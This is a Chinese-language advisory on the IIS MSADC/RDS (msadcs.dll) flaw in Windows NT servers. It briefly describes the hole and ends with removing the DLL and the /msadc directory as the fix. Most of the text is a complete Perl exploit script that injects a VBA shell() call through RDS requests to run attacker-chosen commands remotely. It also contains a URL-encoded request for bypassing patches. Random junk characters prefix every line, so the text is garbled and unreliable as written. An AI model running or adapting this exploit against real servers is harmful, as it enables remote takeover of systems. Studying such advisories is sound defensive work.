IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
.l~g`._ :faB7wduW; 涉及程序:
-LEpT$v| Microsoft NT server
5gY9D!;:0D O@? *5 描述:
- x]gp5 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
JbEQ35r -gb'DN1BG 详细:
T>pz?e^5& 如果你没有时间读详细内容的话,就删除:
^ot9Q c:\Program Files\Common Files\System\Msadc\msadcs.dll
bGa"r 有关的安全问题就没有了。
KZ/2#` 1IV
R4:a 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
>O}J*4A>+# B;xGTl@8 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
%Dm:|><V$b 关于利用ODBC远程漏洞的描述,请参看:
/S&8%fb Z1M{5E http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $#d.@JWi pt-
1>Ui 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
+@5*_n\e` http://www.microsoft.com/security/bulletins/MS99-025faq.asp y7Sj^muBY m6M:l"u 这里不再论述。
{-)*.l= x>~.cey 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
=CjN=FM nwPU{4#l< /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
UvM_~qo 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
q.NvwJ Rz!! ;<ye8 ELQc:
t
-2 #将下面这段保存为txt文件,然后: "perl -x 文件名"
]*JH~.p 7.tEi}O&_g #!perl
gVI2{\a #
:_"%o= # MSADC/RDS 'usage' (aka exploit) script
yaKw/vV #
bcC+af0L # by rain.forest.puppy
n0CS= #
r&c31k]E # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
.q9wyVi7GI # beta test and find errors!
~Y'j8W YR}By;Bq use Socket; use Getopt::Std;
5WG:m'$$ getopts("e:vd:h:XR", \%args);
9V( esveq F 5FzT^ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
YUsMq3^& uV+.(sjH if (!defined $args{h} && !defined $args{R}) {
%t<ba[9F print qq~
UV8K$n< Usage: msadc.pl -h <host> { -d <delay> -X -v }
ZMI
vzQYI -h <host> = host you want to scan (ip or domain)
N"rZK/@} -d <seconds> = delay between calls, default 1 second
dt|f4XWF -X = dump Index Server path table, if available
Q XV8][ -v = verbose
qb1[-H -e = external dictionary file for step 5
u#`FkuE\} !E|k#c9 Or a -R will resume a command session
Wg
?P" #Do#e
{=+ ~; exit;}
rYwUD7ip [W2GLd] $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
cJ!C=J if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
CxRhMhvP if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
yCG<qQz if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
@%sr#YqY $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
1I -LGe[Q if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
|=W=H6h* hCKx%&[^7 if (!defined $args{R}){ $ret = &has_msadc;
JOm6Zc die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
zS+_6s R x.]m0 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
W:z!fh- . "cmd /c ";
#8[iqvE $in=<STDIN>; chomp $in;
7f\@3r $command="cmd /c " . $in ;
A T'P=)F@ #cD20t if (defined $args{R}) {&load; exit;}
gaXKP1m^ 9 ?~Y print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
iu(+
N~ &try_btcustmr;
!@vM@Z" K:g:GEDgf print "\nStep 2: Trying to make our own DSN...";
lTn~VsoRZ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
~ok i s xMAb=87_
print "\nStep 3: Trying known DSNs...";
Om=*b#k &known_dsn;
Zc9j_.?* T11;LSD print "\nStep 4: Trying known .mdbs...";
K0Zq)< &known_mdb;
X ?l F,p |ZnRr if (defined $args{e}){
3JR1If print "\nStep 5: Trying dictionary of DSN names...";
Lc:DJA &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
*b
>hZkObn %">
Oy&3 print "Sorry Charley...maybe next time?\n";
t@O4!mFH exit;
`DPR >dd@ ko%B` ##############################################################################
Pqm)OZE? &`J?`l X sub sendraw { # ripped and modded from whisker
]9}T)Df' sleep($delay); # it's a DoS on the server! At least on mine...
`bF]O" my ($pstr)=@_;
OnKPD=< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
AZTn!hrU die("Socket problems\n");
j |tu|Q if(connect(S,pack "SnA4x8",2,80,$target)){
^,M&PP6 select(S); $|=1;
U.B=%S print $pstr; my @in=<S>;
{k}EWV select(STDOUT); close(S);
p!~{<s] return @in;
"=BO,see9 } else { die("Can't connect...\n"); }}
Y4B<]C4 %Fg}"=f1 ##############################################################################
g}]EIv{ 0fd\R_"d. sub make_header { # make the HTTP request
> \KVg(?D my $msadc=<<EOT
FTg4i\Wp POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
hIr$^% User-Agent: ACTIVEDATA
r
7mg>3 Host: $ip
k v}<u Content-Length: $clen
KtFxG6a Connection: Keep-Alive
)5Bkm{v3 a} w%k ADCClientVersion:01.06
_2,eS[wP Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
<?I s ~[2 H~P"uYKIZ --!ADM!ROX!YOUR!WORLD!
qWzzUM1= Content-Type: application/x-varg
;I+"MY7D Content-Length: $reqlen
{vJ)!'Eh _>moza EOT
Bw[jrK ; $msadc=~s/\n/\r\n/g;
l?/.uNw return $msadc;}
8zRb)B+ %ycCNS ##############################################################################
Z{w{bf1&A "k${5wk#Fl sub make_req { # make the RDS request
yeCR{{B/' my ($switch, $p1, $p2)=@_;
<9s=K\- my $req=""; my $t1, $t2, $query, $dsn;
y ;4h'y># cc%O35o if ($switch==1){ # this is the btcustmr.mdb query
7(<49bb.V $query="Select * from Customers where City=" . make_shell();
VhAZncw $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
P~+?:buqc $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
_uO#0
)l |@-%x.y elsif ($switch==2){ # this is general make table query
Hhbf9) $query="create table AZZ (B int, C varchar(10))";
ikGH:{ $dsn="$p1";}
,Dz2cR6 !7g
E elsif ($switch==3){ # this is general exploit table query
a*pZcv< $query="select * from AZZ where C=" . make_shell();
%acy%Sy $dsn="$p1";}
@J~y_J{ G@)I elsif ($switch==4){ # attempt to hork file info from index server
)6?.; B $query="select path from scope()";
!_`T8pJ` $dsn="Provider=MSIDXS;";}
vl@t4\@3 1 ]@}+H elsif ($switch==5){ # bad query
9@yP;{Q $query="select";
p0.?R $dsn="$p1";}
LC/w".oq? ^/W7Xd(s $t1= make_unicode($query);
tH:K6^oR $t2= make_unicode($dsn);
}eX_p6bBw $req = "\x02\x00\x03\x00";
6[9E^{(z $req.= "\x08\x00" . pack ("S1", length($t1));
4M8AYh2) $req.= "\x00\x00" . $t1 ;
16\U'< $req.= "\x08\x00" . pack ("S1", length($t2));
vII8>x%* $req.= "\x00\x00" . $t2 ;
RZfC? $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
_^RN
C)ol return $req;}
>5Zpx8W ^gFjm~2I ##############################################################################
7F-b/AdVq 0<L@f=i sub make_shell { # this makes the shell() statement
lO9{S=N return "'|shell(\"$command\")|'";}
%f;( f*~ 4Kv ##############################################################################
%uGA+ \b @"s\eL,r sub make_unicode { # quick little function to convert to unicode
5Ag>,>kJ6 my ($in)=@_; my $out;
Uc0AsUu}? for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Q:~w;I return $out;}
@2_s;!K +k"dN^K]D ##############################################################################
A*pihBo7 e>t9\vN#bx sub rdo_success { # checks for RDO return success (this is kludge)
N,ik&NIWy my (@in) = @_; my $base=content_start(@in);
'w%N(N tq if($in[$base]=~/multipart\/mixed/){
JMOP/]%D return 1 if( $in[$base+10]=~/^\x09\x00/ );}
7/vr!tbL`p return 0;}
{I 7pk6Qd P:k(=CzZ@J ##############################################################################
`OQ&u {NK>9phoB sub make_dsn { # this makes a DSN for us
l@*/1O)v my @drives=("c","d","e","f");
J'O`3!Oy/ print "\nMaking DSN: ";
*:.0c foreach $drive (@drives) {
i,")U)b print "$drive: ";
~~1~ _0?e my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Y%:p(f< "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
wZa;cg.-q . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
(r[<g*+3 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
A2&&iL=j/ return 0 if $2 eq "404"; # not found/doesn't exist
?<frU ,{ if($2 eq "200") {
T *t$ foreach $line (@results) {
/^[)JbgB return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
H>XbqIkL@ } return 0;}
5 J|;RtcR gSj-~kP ##############################################################################
CHpDzG>]4 sW2LNE sub verify_exists {
TiBE9 my ($page)=@_;
,P"R.A my @results=sendraw("GET $page HTTP/1.0\n\n");
0h shHv- return $results[0];}
\N#)e1.0P J-PzI FWd ##############################################################################
eZHzo <Awx:lw. sub try_btcustmr {
n'*L jp my @drives=("c","d","e","f");
~vl: Tb my @dirs=("winnt","winnt35","winnt351","win","windows");
3}:pD]`h C6"!'6 W foreach $dir (@dirs) {
2K*-uT#$~ print "$dir -> "; # fun status so you can see progress
IVNNiNN*5 foreach $drive (@drives) {
paBGJ~{= print "$drive: "; # ditto
el|t6ZT* $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Z `\7B e $reqlenlen=length( "$reqlen" );
^}1RDdQ"U $clen= 206 + $reqlenlen + $reqlen;
deTbvl RO.(k!J . my @results=sendraw(make_header() . make_req(1,$drive,$dir));
sf*SxdoZU if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
[!R%yD; else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
bOz\-=au ')1sw%[2 ##############################################################################
peqFa._W H9)uni sub odbc_error {
''v1Pv- my (@in)=@_; my $base;
d7^XP my $base = content_start(@in);
*VlYl" if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
hYd8}BvA $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|16
:Zoq $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ESrWRO
f9 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
X3m?zQbhv return $in[$base+4].$in[$base+5].$in[$base+6];}
Na~_=3+a print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
wO!hVm,Ta print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Y!7P>?)`,X $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
c&Zm>Qo[
g?$9~/h :; ##############################################################################
}"&(sYQ*` Ro1' L1: sub verbose {
17i^|&J6}: my ($in)=@_;
* Yr-:s9J9 return if !$verbose;
PRz oLzr print STDOUT "\n$in\n";}
%xZ.+Ff% GO)rpk9 ##############################################################################
/MU<)[*Ro RrZjC sub save {
Nz}Q"6L my ($p1, $p2, $p3, $p4)=@_;
#wjBMR% open(OUT, ">rds.save") || print "Problem saving parameters...\n";
.FXQ,7mZ- print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
654%X(:q close OUT;}
;Z`)*TRp4 |Gf{ } ##############################################################################
{f&ga 1I+5 sub load {
:> q?s my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
g^C6"rsnl open(IN,"<rds.save") || die("Couldn't open rds.save\n");
(KQt%] @p=<IN>; close(IN);
=5|5j!i=q $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
j>b OnCp~ $target= inet_aton($ip) || die("inet_aton problems");
XP` kf]9 print "Resuming to $ip ...";
v4zd
x) $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
5,c` if($p[1]==1) {
V0AX1?H~ w $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
>ATW/9r $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
y^A$bTQq my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
QLUe{@ivc if (rdo_success(@results)){print "Success!\n";}
$($SQZK& else { print "failed\n"; verbose(odbc_error(@results));}}
~/x42|t elsif ($p[1]==3){
P&tK}Se^V if(run_query("$p[3]")){
"QF083$ print "Success!\n";} else { print "failed\n"; }}
;dFe >`~ elsif ($p[1]==4){
+i>q;=~ if(run_query($drvst . "$p[3]")){
@ubz?5 print "Success!\n"; } else { print "failed\n"; }}
1wgu%$|d exit;}
Yq^y"rw LX fiSM{o ##############################################################################
Ww(_EW %pp+V1FH sub create_table {
~?&ijhZ my ($in)=@_;
+n, BD C; $reqlen=length( make_req(2,$in,"") ) - 28;
w?tKL0c $reqlenlen=length( "$reqlen" );
jwq"B$ap $clen= 206 + $reqlenlen + $reqlen;
HxM sH5; my @results=sendraw(make_header() . make_req(2,$in,""));
.;:xx~G_Q return 1 if rdo_success(@results);
:}JZKj!}M my $temp= odbc_error(@results); verbose($temp);
=e;wEf%` return 1 if $temp=~/Table 'AZZ' already exists/;
fEjW7 c return 0;}
0|ps), ?},ItJ#>)q ##############################################################################
H+;wnI>@ YzZF^q^I sub known_dsn {
`aUp&8{ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
V"p<A my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
eFio, "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
4PWr;& "banner", "banners", "ads", "ADCDemo", "ADCTest");
-"zu"H~t4 x]ti3?w foreach $dSn (@dsns) {
6b/b}vl print ".";
`g1Oon_ next if (!is_access("DSN=$dSn"));
@EY}iK~
if(create_table("DSN=$dSn")){
QB[s8"S print "$dSn successful\n";
I5L7BTe if(run_query("DSN=$dSn")){
ja;5:=8A5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Vi#im`@ print "Something's borked. Use verbose next time\n";}}} print "\n";}
&XsLp&Do2 lz (,;I'x ##############################################################################
Wn^^Q5U# L)}V[j# sub is_access {
%jxuH+L
my ($in)=@_;
>D/~|`=p $reqlen=length( make_req(5,$in,"") ) - 28;
A,{D9-% $reqlenlen=length( "$reqlen" );
xiF%\#N $clen= 206 + $reqlenlen + $reqlen;
M: "ci;*$ my @results=sendraw(make_header() . make_req(5,$in,""));
zcKC5vqb my $temp= odbc_error(@results);
ElXe=5L\# verbose($temp); return 1 if ($temp=~/Microsoft Access/);
6
b}feEh$! return 0;}
V@S/!h+ !7)ID7d ##############################################################################
}BJ1#< 5Mr;6
]I< sub run_query {
{_Qxe1^g my ($in)=@_;
&%X Jf~IQ $reqlen=length( make_req(3,$in,"") ) - 28;
3@] a#> $reqlenlen=length( "$reqlen" );
4QFOO
sNp $clen= 206 + $reqlenlen + $reqlen;
pU ]{Z( my @results=sendraw(make_header() . make_req(3,$in,""));
3~</lAm; return 1 if rdo_success(@results);
%5*#c*)R my $temp= odbc_error(@results); verbose($temp);
> bF!Y]H return 0;}
w.aFaR)04 {0e{!v ##############################################################################
['emP1g~ %h"<
IA
S. sub known_mdb {
Z5Ihc%J^ my @drives=("c","d","e","f","g");
_)E8XyzF my @dirs=("winnt","winnt35","winnt351","win","windows");
qm=F6*@} my $dir, $drive, $mdb;
! |h2&tH my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{,FeNf46 vkpV,}H # this is sparse, because I don't know of many
rO$>zdmYHs my @sysmdbs=( "\\catroot\\icatalog.mdb",
1ckw[ 0d "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
;CMC`h9, "\\system32\\certmdb.mdb",
23$hwr&G\ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
kA<r:/ ?ev G=S4> my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.p9h$z^ "\\cfusion\\cfapps\\forums\\forums_.mdb",
P$/A! r "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
rp#*uV9; "\\cfusion\\cfapps\\security\\realm_.mdb",
X&s\_jQ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
R0mT/h2 "\\cfusion\\database\\cfexamples.mdb",
&H1D!N "\\cfusion\\database\\cfsnippets.mdb",
' 1'1T5x~ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
9!HMQ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
.eNwC .8i "\\cfusion\\brighttiger\\database\\cleam.mdb",
\a2oM$PX "\\cfusion\\database\\smpolicy.mdb",
}8M`2HMFR "\\cfusion\\database\cypress.mdb",
kQd[E-b7 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
'uACoME@ "\\website\\cgi-win\\dbsample.mdb",
hav?mnVJ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
N#['fg' "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
~_db<!a ); #these are just
P .4b+9Tx foreach $drive (@drives) {
'Y{ux> foreach $dir (@dirs){
wT~;tOw~ foreach $mdb (@sysmdbs) {
%4|}&,%%r print ".";
^Pg
YP if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
,XG|oo- print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
M(zY[O if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
qb>r\bc print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
T0v@mXBQ } else { print "Something's borked. Use verbose next time\n"; }}}}}
$;i$k2n: 60%~+oHi~ foreach $drive (@drives) {
Usf"K*A foreach $mdb (@mdbs) {
PnIvk]"Ab print ".";
#D/ }u./ if(create_table($drv . $drive . $dir . $mdb)){
uU(G_E ? print "\n" . $drive . $dir . $mdb . " successful\n";
:.[5(' if(run_query($drv . $drive . $dir . $mdb)){
|vDoqlW print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
w+9C/U;|s } else { print "Something's borked. Use verbose next time\n"; }}}}
J=SB/8tQ)T }
a-A+.7 cw]>a&d ##############################################################################
5'c+313 lm #X@<U <R sub hork_idx {
V@n(v\F print "\nAttempting to dump Index Server tables...\n";
renmz,dJ, print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Sd$]b>b4O $reqlen=length( make_req(4,"","") ) - 28;
5f&{ !N $reqlenlen=length( "$reqlen" );
, HI%Xn
$clen= 206 + $reqlenlen + $reqlen;
ym*#ZE`B! my @results=sendraw2(make_header() . make_req(4,"",""));
Y0X94k.u if (rdo_success(@results)){
o%^k T& my $max=@results; my $c; my %d;
}Q r0T for($c=19; $c<$max; $c++){
2}`V c{\ $results[$c]=~s/\x00//g;
g1 Wtu*K3 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
yp2 'KES> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
TQ\wHJ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
fFZ`rPb $d{"$1$2"}="";}
,gL)~6!A foreach $c (keys %d){ print "$c\n"; }
xK),:+G( } else {print "Index server doesn't seem to be installed.\n"; }}
N<Z)b!o%u 7{+Io ##############################################################################
`b#nC[b6|v X:SzkkVl7 sub dsn_dict {
$Y 4ch ko open(IN, "<$args{e}") || die("Can't open external dictionary\n");
gc2|V6( while(<IN>){
Y6<0% $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
u5XU`! next if (!is_access("DSN=$dSn"));
OU.9 #|q U if(create_table("DSN=$dSn")){
1|~#028 print "$dSn successful\n";
Q0q)n=i}] if(run_query("DSN=$dSn")){
)'
x/q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
H&yFSz}6a print "Something's borked. Use verbose next time\n";}}}
~b$z\|Y print "\n"; close(IN);}
xL39>PB OZC/+"\, ##############################################################################
RZ)vU'@kx 1f@U:<: sub sendraw2 { # ripped and modded from whisker
uWR,6\_jY sleep($delay); # it's a DoS on the server! At least on mine...
HDSA]{:sl my ($pstr)=@_;
z@%/r~?| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
J!A/r< die("Socket problems\n");
34m' ]n if(connect(S,pack "SnA4x8",2,80,$target)){
Q9eYF-+ print "Connected. Getting data";
f}lT|.)?VD open(OUT,">raw.out"); my @in;
DA4edFAuE select(S); $|=1; print $pstr;
jWv3O&+?X while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
U8WHE=Kk\h close(OUT); select(STDOUT); close(S); return @in;
=JbdsYI( } else { die("Can't connect...\n"); }}
Ic{'H2~4, B=q)}aWc ##############################################################################
Jp.3KA> ."F'5eTT~ sub content_start { # this will take in the server headers
>d27[% my (@in)=@_; my $c;
_!C)r*0( for ($c=1;$c<500;$c++) {
k;K>
,$F if($in[$c] =~/^\x0d\x0a/){
z%}CBTm if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
]cLEuE^& else { return $c+1; }}}
~aqT~TL_ return -1;} # it should never get here actually
{?
K|(C D,GPn%Wqi ##############################################################################
v't6
yud TRySl5jx@ sub funky {
:_fjml/ my (@in)=@_; my $error=odbc_error(@in);
zO).<xIq+ if($error=~/ADO could not find the specified provider/){
n $O.> print "\nServer returned an ADO miscofiguration message\nAborting.\n";
mV**9-" exit;}
-n=$[-w if($error=~/A Handler is required/){
"u Of~e" print "\nServer has custom handler filters (they most likely are patched)\n";
J I+KS exit;}
^:cb
$9F if($error=~/specified Handler has denied Access/){
<i:*p1#Bm print "\nServer has custom handler filters (they most likely are patched)\n";
hyk|+z`B exit;}}
H)j[eZP _>jrlIfc ##############################################################################
e}](6"t`5 i3M?D}(Bs sub has_msadc {
]uStn my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
U!a!|s> my $base=content_start(@results);
As6)_8w return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Yhc6P%{Z^ return 0;}
M!&_qj&N, Z0()pT ########################
;"d ,~nLn @pqY9_:P1 %?]{U($? 解决方案:
[Hv*\rb 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
[D<RV3x9 2、移除web 目录: /msadc